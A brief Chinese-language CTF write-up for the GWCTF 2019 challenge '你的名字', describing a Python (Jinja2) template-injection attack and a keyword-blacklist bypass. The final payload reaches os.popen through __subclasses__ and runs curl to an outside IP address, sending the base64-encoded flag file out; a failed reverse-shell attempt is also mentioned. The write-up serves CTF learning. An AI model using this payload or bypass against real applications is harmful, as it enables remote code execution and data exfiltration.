[GWCTF 2019]你的名字

知识点

Python模板注入(SSTI)深入学习

解题步骤：

典型ssti注入界面。
尝试{{7*7}}，直接报错

还以为是php框架，疯狂尝试smarty注入无果。
直接看wp
原来后端是python写的，但是路由是php写的，牛逼。
然后是一堆绕过了。
过滤了{{}}，还过滤了许多关键字
但是都是置换为空。尝试双写,也是为空。
那是循环判断了，只要找到黑名单最后一个然后插入前面的过滤单词就行。
最后找到了config能用。结合上面的链接，把数据外带。
尝试反弹shell失败。
最终payload：

{% iconfigf ''.__clconfigass__.__mrconfigo__[2].__subclaconfigsses__()[59].__init__.func_globconfigals.lineconfigcache.oconfigs.poconfigpen('curl http://47.96.173.116:2333?a=`cat /flag_1s_Hera | base64` ') %}1{% endiconfigf %}

由于有一些字眼会被过滤为空，base64加密一下。